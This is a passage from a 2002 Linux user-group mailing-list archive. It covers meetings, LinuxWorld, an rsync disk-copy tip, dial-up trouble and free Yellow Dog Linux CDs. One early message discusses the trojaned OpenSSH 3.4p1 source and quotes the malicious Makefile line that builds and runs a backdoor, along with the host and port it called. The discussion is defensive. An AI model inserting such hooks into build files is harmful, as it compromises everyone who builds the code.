priv sep needs another 6 months real-world baking time. Pete From ccweis@engineering.uiowa.edu Thu Aug 01 17:53:27 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 13907 invoked by uid 1051); 1 Aug 2002 17:53:26 -0000 Received: from unknown (HELO server07.icaen.uiowa.edu) (128.255.17.50) by 0 with SMTP; 1 Aug 2002 17:53:26 -0000 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id MAA08634 sent by ; Thu, 1 Aug 2002 12:56:18 -0500 (CDT) Received: from webmail.engineering.uiowa.edu (server50.engr.uiowa.edu [128.255.18.28]) by server11.icaen.uiowa.edu (8.9.3/smtp-service-1.6) with ESMTP id MAA29677; sent by ; Thu, 1 Aug 2002 12:53:20 -0500 (CDT) X-WebMail-UserID: ccweis Date: Thu, 1 Aug 2002 12:53:19 -0500 Sender: "Christopher C. Weis" From: "Christopher C. Weis" To: Daniel Wittenberg , Pete Flugstad Cc: cedarlug , crlug , linux-users , lug , qclug X-EXP32-SerialNo: 00003240 Message-ID: <3D26D42D@webmail.engineering.uiowa.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: WebMail (Hydra) SMTP v3.61.05 X-Mailman-Approved-At: Sat, 03 Aug 2002 05:43:35 -0000 Subject: [QCLUG] RE: linux-users: openssh 3.4 downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 01 Aug 2002 17:53:27 -0000 It looks as though the trojan is in a Makefile, not one of the actual SSH binaries, so the RPMS should still be OK. The following is from Edwin Groothuis's post... The changed files are openssh-3.4p1/openbsd-compat/Makefile.in: all: libopenbsd-compat.a + @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out & bf-test.c[1] is nothing more than a wrapper which generates a shell-script[2] which compiles itself and tries to connect to an server running on 203.62.158.32:6667 (web.snsonline.net). As far as I know, the binaries are perfectly fine, but I haven't personally tested them. Has anyone checked the RPM sigs yet? Possibly a 'rpm -qpl' to see if it installs any "extra" files? ~Chris >===== Original Message From Daniel Wittenberg ===== >But if they trojaned the source on the openbsd server, they could have just as >easily uploaded new RPMs and SRPMs as well...the reason for the signatures... > >Dan > >Quoting Pete Flugstad : >> >> Note that RPMs (and other packaged binaries) in general should be >> safe (boy that feels weird to say that - normally it's the other >> way around). The trojan was only run if you were building the >> OpenSSH code directly from source. So the host that built the RPM >> is the one that would be infected. This doesn't mean that the RPM >> couldn't be infected somehow, but it would be much more difficult >> for someone to do so, as they would have to access the host that >> was building the RPM, and then somehow infect the RPM. >> >> Pete >> From volunteer@revealed.net Fri Aug 02 23:57:29 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 20184 invoked by uid 1051); 2 Aug 2002 23:57:28 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 2 Aug 2002 23:57:28 -0000 Received: from revealed.net ([63.102.218.206]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Fri, 2 Aug 2002 18:57:23 -0500 Sender: volunteer Message-ID: <3D4B1CD6.390C3C4D@revealed.net> Date: Fri, 02 Aug 2002 18:59:18 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Sat, 03 Aug 2002 05:43:35 -0000 Subject: [QCLUG] Back up? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 02 Aug 2002 23:57:29 -0000 Are we really back up? Jim From ray@qlilinux.com Sat Aug 03 05:46:36 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 20924 invoked by uid 1051); 3 Aug 2002 05:46:36 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 0 with SMTP; 3 Aug 2002 05:46:36 -0000 Received: from 12.217.74.248 ( [12.217.74.248]) as user qliray@mail.qlitech.net by www.qlitech.net with HTTP; Sat, 3 Aug 2002 00:46:36 -0500 Message-ID: <1028353596.3d4b6e3c7d5f0@www.qlitech.net> Date: Sat, 3 Aug 2002 00:46:36 -0500 From: Ray Sanders To: qclug@qclug.org Subject: Re: [QCLUG] Back up? References: <3D4B1CD6.390C3C4D@revealed.net> In-Reply-To: <3D4B1CD6.390C3C4D@revealed.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.74.248 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 03 Aug 2002 05:46:36 -0000 Quoting Jim Hall : > Are we really back up? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > > Yes! We are really back up and running. -- "In an open world, who needs windows or gates" QliTech Linux Computers ray@qlilinux.com http://www.qlilinux.com 1-877-24-LINUX (Toll Free U.S.A and Canada) ------------------------------------------------- Vistit our website at http://www.qlilinux.com/ From OrtegaAlexC@JohnDeere.com Mon Aug 05 14:08:45 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26294 invoked by uid 1051); 5 Aug 2002 14:08:44 -0000 Received: from unknown (HELO fdpnmailgw5.mailgws.com) (192.43.73.42) by 0 with SMTP; 5 Aug 2002 14:08:44 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Mon, 5 Aug 2002 09:08:41 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 11505966567701-01-02 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Subject: [QCLUG] SIGBAP... Make it monthly? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 05 Aug 2002 14:08:45 -0000 So, what does everyone think of making SIGBAP/SIGPAP a regular monthly meeting? I would be for it, but I would (And possibly others) need to work around their schedule to plan a while ahead for it. Its a great idea for our informal meetings, to shoot the shiznit, and bounce ideas around. The normal meeting can still be informal, but we can also work to have an agenda for each meeting... Monday, monday....., Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office ------ Computer - "Dude! Your computer is crashing..." Kid - "Mom!!!! Mom-"Yes hon?" Kid-"Did you install some memory from Dell?" ------ From daniel-wittenberg@starken.com Mon Aug 05 19:43:52 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27546 invoked by uid 1051); 5 Aug 2002 19:43:52 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 5 Aug 2002 19:43:52 -0000 Received: from dhcp80ff45c4.dynamic.uiowa.edu (dhcp80ff45c4.dynamic.uiowa.edu [128.255.69.196]) (authenticated (0 bits)) by dns1.starken.com (8.11.6/8.11.6) with ESMTP id g75Jhfd03501; Mon, 5 Aug 2002 14:43:41 -0500 From: Daniel Wittenberg To: Daniel Wittenberg Cc: ia-lugs@starken.com In-Reply-To: <1028224762.3d4976fa1220b@mail.starken.com> References: <3D26D42D@webmail.engineering.uiowa.edu> <1028224762.3d4976fa1220b@mail.starken.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Aug 2002 14:37:03 -0500 Message-Id: <1028576224.2020.25.camel@runabout.noc.starken.com> Mime-Version: 1.0 X-Mailman-Approved-At: Tue, 06 Aug 2002 15:40:52 -0000 Subject: [QCLUG] linuxworld X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 05 Aug 2002 19:43:52 -0000 Anyone else going to Linuxworld next week and want to hook up? Dan From washer@us.ibm.com Mon Aug 05 20:18:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27782 invoked by uid 1051); 5 Aug 2002 20:18:03 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 5 Aug 2002 20:18:03 -0000 Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by dns1.starken.com (8.11.6/8.11.6) with ESMTP id g75KI3d05298; Mon, 5 Aug 2002 15:18:03 -0500 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g75KHue8152608; Mon, 5 Aug 2002 16:17:56 -0400 Received: from d03nm038.boulder.ibm.com (avpilot.boulder.ibm.com [9.17.203.135]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g75KHqFA092376; Mon, 5 Aug 2002 16:17:53 -0400 Importance: Normal Sensitivity: To: Daniel Wittenberg Cc: Daniel Wittenberg , ia-lugs@starken.com X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "James Washer" Date: Mon, 5 Aug 2002 13:17:50 -0700 X-MIMETrack: Serialize by Router on D03NM038/03/M/IBM(Release 5.0.10 |March 22, 2002) at 08/05/2002 02:17:54 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Mailman-Approved-At: Tue, 06 Aug 2002 15:40:52 -0000 Subject: [QCLUG] Re: linux-users: linuxworld X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 05 Aug 2002 20:18:03 -0000 Dan, when are you going to be there? I'm planning on being there pretty much the whole week. - jim Daniel Wittenberg @icarus.net on 08/05/2002 12:37:03 PM Sent by: owner-linux-users@icarus.net To: Daniel Wittenberg cc: ia-lugs@starken.com Subject: linux-users: linuxworld Anyone else going to Linuxworld next week and want to hook up? Dan From OrtegaAlexC@JohnDeere.com Tue Aug 06 15:49:31 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30873 invoked by uid 1051); 6 Aug 2002 15:49:31 -0000 Received: from unknown (HELO fdpnmailgw4.mailgws.com) (192.43.65.232) by 0 with SMTP; 6 Aug 2002 15:49:31 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Tue, 6 Aug 2002 10:49:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 11512F81345190-01-02 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Subject: [QCLUG] Next Meeting and DemoDay X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 06 Aug 2002 15:49:31 -0000 Lugites, Any suggestions as to when and where the next meeting shall be held? It is almost upon us... A week from today... Should we stick to Augustana for the location???? or will we move the meetings to a new day, Saturday???? The poll is not over whelming, but in favor of moving the meeting day. I think location is not a very important factor in our meetings, yet... As for the DemoDay, what do we need to get cracking on? Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office ------ What you see is what you get... But what you don't is better yet. ------ From volunteer@revealed.net Tue Aug 06 16:25:32 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31025 invoked by uid 1051); 6 Aug 2002 16:25:32 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 6 Aug 2002 16:25:32 -0000 Received: from revealed.net ([65.114.247.50]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Tue, 6 Aug 2002 11:25:26 -0500 Sender: volunteer Message-ID: <3D4FF8E9.D1D12731@revealed.net> Date: Tue, 06 Aug 2002 11:27:21 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] linuxworld References: <3D26D42D@webmail.engineering.uiowa.edu> <1028224762.3d4976fa1220b@mail.starken.com> <1028576224.2020.25.camel@runabout.noc.starken.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 06 Aug 2002 16:25:32 -0000 If someone will pay my way, I'll be glad to go (he said with tongue firmly planted in cheek). :) Jim Daniel Wittenberg wrote: > > Anyone else going to Linuxworld next week and want to hook up? > > Dan > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From gentoo@mchsi.com Tue Aug 06 23:16:27 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 542 invoked by uid 1051); 6 Aug 2002 23:16:26 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 6 Aug 2002 23:16:26 -0000 Received: from laptop ([12.217.82.175]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020806231610.YPTY23220.sccmmhc01.mchsi.com@laptop> for ; Tue, 6 Aug 2002 23:16:10 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Tue, 6 Aug 2002 18:12:53 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208061812.53108.gentoo@mchsi.com> Subject: [QCLUG] file transfer / installing new hard drive into X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 06 Aug 2002 23:16:27 -0000 can i use linux (like the gentoo boot cd) to tranfer windows to a new hard drive . like using cp=20 thanks ahead of time :) --=20 life is linux=20 linux is life=20 From awolf@newhope.terraplex.com Tue Aug 06 20:47:51 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 32029 invoked by uid 1051); 6 Aug 2002 20:47:51 -0000 Received: from unknown (HELO newhope.terraplex.com) (66.7.161.3) by 0 with SMTP; 6 Aug 2002 20:47:51 -0000 Received: from sales.terraplex.com (unknown [192.168.10.9]) by newhope.terraplex.com (Postfix) with ESMTP id 9FD3D1FA4E; Tue, 6 Aug 2002 14:44:11 -0600 (MDT) Content-Type: text/plain; charset="iso-8859-1" From: Amanda Wolf Organization: Terra Soft Solutions, Inc. Date: Tue, 6 Aug 2002 14:48:32 -0600 User-Agent: KMail/1.4.1 To: wallen@lug.boulder.co.us/kenweinert@home.com MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208061448.32049.awolf@mail.terraplex.com> X-Mailman-Approved-At: Wed, 07 Aug 2002 00:10:07 -0000 Subject: [QCLUG] Yellow Dog Linux CDs for your LInux User Group X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: awolf@terrasoftsolutions.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 06 Aug 2002 20:47:51 -0000 As the developers of Yellow Dog Linux for PowerPC computers, we routinely find ourselves with an abundance of once-removed versions of YDL. As our primary users are Apple Macintosh owners, we are eager to support your members who own old and new Apple hardware alike. In particular, we believe YDL offers a unique opportunity for older Macs. As Apple is now focused on Mac OS X and will in the not-so-distant future no longer support classic Mac OS, YDL stands as a modern, supported, fast, and highly flexible OS that supports systems as old as 7200s. As graphical desktop for home or office (Yes! Linux has a powerful GUI), an email/ftp/web server, or code development workstation, YDL now offers over 1,000 packages. You can learn more about YDL at http://www.yellowdoglinux.com/ and get involved by subscribing to the Announce and General Mailing lists at http://lists.yellowdoglinux.com/ where we maintain a very active, supportive community. Now down to business ... we have in-house YDL 2.1 CDs (no longer a shipping product ) and are ready to find anew home. If you want to receive some let us know if you are interested with a response to this email and answers to the following questions: complete name of user group- primary contact- phone & email - mailing address- number of users in group- frequency of meetings- preferred number of copies of YDL Looking forward to hearing from you soon as the CDs are going to go quickly. Sincerely, Amanda Wolf Terra Soft Solutions From gray@cns.uni.edu Wed Aug 07 02:48:19 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1191 invoked by uid 1051); 7 Aug 2002 02:48:19 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 7 Aug 2002 02:48:19 -0000 Received: (qmail 13309 invoked by uid 2041); 7 Aug 2002 02:48:12 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 7 Aug 2002 02:48:12 -0000 Date: Tue, 6 Aug 2002 21:48:12 -0500 (CDT) From: Paul Gray To: Subject: Re: [QCLUG] file transfer / installing new hard drive into In-Reply-To: <200208061812.53108.gentoo@mchsi.com> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 07 Aug 2002 02:48:20 -0000 I can think of no better use of rsync. Boot with a bootable linux cd (such as the lnx-bbc or the Linuxcare BBC) and issue:: rsync -plarv /mnt/win-old/ /mnt/win-new/ where win-old would be your mounted old partion, win-new your clean new partition. The only concerns you should have are boot flag on the partitions and/or lilo configurations. On Tue, 6 Aug 2002, Noah Justin Norris wrote: > can i use linux (like the gentoo boot cd) > to tranfer windows to a new hard drive . > like using cp > thanks ahead of time :) > -- > life is linux > linux is life > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From superdug@dugnet.com Wed Aug 07 03:48:28 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1384 invoked by uid 1051); 7 Aug 2002 03:48:28 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 7 Aug 2002 03:48:28 -0000 Received: (qmail 15516 invoked by uid 0); 7 Aug 2002 03:48:30 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 7 Aug 2002 03:48:30 -0000 Received: (qmail 28373 invoked by uid 0); 7 Aug 2002 03:48:28 -0000 Received: from unknown (HELO smtp.dugnet.com) (216.85.211.12) by dugnet.com with SMTP; 7 Aug 2002 03:48:27 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Tue, 6 Aug 2002 23:48:27 +4400 Date: Tue, 6 Aug 2002 23:48:27 +4400 To: awolf@terrasoftsolutions.com, qclug@qclug.org Subject: New Thread ... what do you have running???!!! used to be ...Re: [QCLUG] Yellow Dog Linux CDs for your LInux User Group From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 07 Aug 2002 03:48:28 -0000 Yellow Dog in trouble??? I got this message on 3 other mailing lists today all around the same time. I've seen yellow dog in action and used it on occasion. If anyone has a mac I would actually suggest Mandrake instead, but this is definantelly a decent distro as well. As far as the old Mac's go. Anyone who got some of Noah's stock Macintosh's ... I would like to point out that yellow dog will not run on these machines, BUT m68k linux (debian has a nice install) mkLinux (actually made by apple) and http://www.mac.linux-m68k.org/ (is a great primer) or if you want to see what the other team is up to ... http://www.netbsd.org/Ports/mac68k/ These things are basically good for terminals and for the "wow" classic factor. They are all capable of running as a server and they are all capable of just about anything (it just runs a bit slower). Right now my server farm is the following 3 (old macs ...) 1 (486 DX2 66mhz) 1 (486 K6-2) All of them have apache, samba, and ssh running on them. And they all have a certain purpose. One mac for hosting a nethack server ... one mac to accept incoming connections and log them (you'd be real surprised what people run on a campus network) ... and the other one just sorta sits there ... it does run console based tetris ... so it's not completely unused ... The 486 actually serves as a router ... with 24 megs of ram (yes ... that's 24) the whole OS is stored into the ram and it actually works quite well. The 450 mhz is of course a Counter Strike server :-). But don't just assume that old hardware is useless. I've known people who've run entire corperate-like (heheheh I don't count a company with 4 people as a corperation ...) on a IBM 233mhz thinkpad with docking station ... for real ... SuperDuG PS - Who wants to list their home beowulf clusters ... right now I'm leaving out 2 desktops and 2 laptops ... On 08-06-2002 04:48 pm, you wrote: > As the developers of Yellow Dog Linux for PowerPC computers, we > routinely find ourselves with an abundance of once-removed versions > of YDL. As our primary users are Apple Macintosh owners, we are > eager to support your members who own old and new Apple hardware > alike. > > In particular, we believe YDL offers a unique opportunity for older > Macs. As Apple is now focused on Mac OS X and will in the > not-so-distant future no longer support classic Mac OS, YDL stands > as a modern, supported, fast, and highly flexible OS that supports > systems as old as 7200s. > > As graphical desktop for home or office (Yes! Linux has a powerful > GUI), an email/ftp/web server, or code development workstation, YDL > now offers over 1,000 packages. You can learn more about YDL at > http://www.yellowdoglinux.com/ and get involved by subscribing to > the Announce and General Mailing lists at > http://lists.yellowdoglinux.com/ where we maintain a very active, > supportive community. > > Now down to business ... we have in-house YDL 2.1 CDs (no longer a > shipping product ) and are ready to find anew home. If you want to > receive some let us know if you are interested with a response to > this email and answers to the following questions: > > complete name of user group- > > primary contact- > > phone & email - > > mailing address- > > number of users in group- > > frequency of meetings- > > preferred number of copies of YDL > > Looking forward to hearing from you soon as the CDs are going to go > quickly. > > Sincerely, > Amanda Wolf > Terra Soft Solutions > > > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > > From superdug@dugnet.com Wed Aug 07 03:56:48 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1427 invoked by uid 1051); 7 Aug 2002 03:56:47 -0000 Received: from unknown (HELO hedwig.iticom.net) (64.127.64.16) by 0 with SMTP; 7 Aug 2002 03:56:47 -0000 Received: (qmail 28990 invoked by uid 0); 7 Aug 2002 03:56:51 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 7 Aug 2002 03:56:51 -0000 Received: (qmail 32357 invoked by uid 0); 7 Aug 2002 03:56:48 -0000 Received: from unknown (HELO smtp.dugnet.com) (216.85.211.12) by dugnet.com with SMTP; 7 Aug 2002 03:56:48 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Tue, 6 Aug 2002 23:56:48 +4400 Date: Tue, 6 Aug 2002 23:56:48 +4400 To: qclug@qclug.org Subject: Re: [QCLUG] file transfer / installing new hard drive into From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 07 Aug 2002 03:56:48 -0000 Not to be an advertising monkey ... but has anyone checked the prices on these little bad boys lately??? http://www.yesbuy.net/cd-r-business-card-shape-cdr.html I know they're a little more expensive than your average CD-R, but these really are great little things. I mean you can pop an interactive resume with an entire portfolio on here if you wanted to ... sure beats your old average paper resume. Or use it as a resume addition ... they also make labels for these bad boys ... And for those of you looking to make distro CD's ... you might want to check this out ... http://www.yesbuy.net/silcdr80min.html for older CD-Roms that can't read blue or green ... they can usually still read silver. And lastly ... DVD-R's are down to about a dollar and not that much more expensive than your average CD-R ... so if anyone was holding out on a DVD burner because media was expensive ... now wouldn't be a bad time to look around. SuperDuG > > I can think of no better use of rsync. Boot with a bootable linux cd > (such as the lnx-bbc or the Linuxcare BBC) and issue:: > > rsync -plarv /mnt/win-old/ /mnt/win-new/ > > where win-old would be your mounted old partion, win-new your clean new > partition. > > The only concerns you should have are boot flag on the partitions and/or > lilo configurations. > > > > On Tue, 6 Aug 2002, Noah Justin Norris wrote: > > > can i use linux (like the gentoo boot cd) > > to tranfer windows to a new hard drive . > > like using cp > > thanks ahead of time :) > > -- > > life is linux > > linux is life > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > > > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > > From noah_norris@mchsi.com Wed Aug 07 12:18:14 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2336 invoked by uid 1051); 7 Aug 2002 12:18:14 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 7 Aug 2002 12:18:14 -0000 Received: from noah3.mchsi.com ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020807121814.LCVF7903.sccmmhc02.mchsi.com@noah3.mchsi.com> for ; Wed, 7 Aug 2002 12:18:14 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Wed, 7 Aug 2002 07:12:05 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208070712.05352.noah_norris@mchsi.com> Subject: [QCLUG] pppd setting up dialup conection ? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: noah_norris@mchsi.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 07 Aug 2002 12:18:14 -0000 Im having a problem setting up a dial up connection on my laptop Im using kppp it connects and uses my modem on my laptop but once connect= ed=20 pppd dies ?=20 =091.what option do i need compiled in the kernel ( i have ppp support ) =092. what other things are needed (i installed pppd but it was after kde= 3 was=20 allready compiled. )=20 =093. the modem works with linux (56k hardware pcmcia modem ) =094. It does this as root to along with a normal user =20 I have only once set up dial up isp on a linux box and i was using mandra= ke=20 8.1 . Im using gentoo linux which i love on my laptop i will post this to= the=20 gentoo mailing list also . --=20 life is linux linux is life From noah_norris@mchsi.com Wed Aug 07 12:34:25 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2372 invoked by uid 1051); 7 Aug 2002 12:34:25 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 7 Aug 2002 12:34:25 -0000 Received: from noah3.mchsi.com ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020807123425.DWYP23220.sccmmhc01.mchsi.com@noah3.mchsi.com> for ; Wed, 7 Aug 2002 12:34:25 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: New Thread ... what do you have running???!!! used to be ...Re: [QCLUG] Yellow Dog Linux CDs for your LInux User Group Date: Wed, 7 Aug 2002 07:28:16 +0000 User-Agent: KMail/1.4.2 References: <20020807034832.ZXCW5262.sccmgwc02.mchsi.com@phoenix.qlitech.net> In-Reply-To: <20020807034832.ZXCW5262.sccmgwc02.mchsi.com@phoenix.qlitech.net> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208070728.16481.noah_norris@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: noah_norris@mchsi.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 07 Aug 2002 12:34:25 -0000 anyone still want some macs ... lol=20 plenty of lc 3's and some power pc's=20 still trying to get rid of what we have . anyway i would like to try m68k linux anyway i have 3 17" moniters for ma= cs=20 and there pretty nice i need to use them for something On Monday 05 August 2002 03:48 am, superdug@dugnet.com wrote: > Yellow Dog in trouble??? > > I got this message on 3 other mailing lists today all around the same > time. I've seen yellow dog in action and used it on occasion. If > anyone has a mac I would actually suggest Mandrake instead, but this is > definantelly a decent distro as well. > > As far as the old Mac's go. > > Anyone who got some of Noah's stock 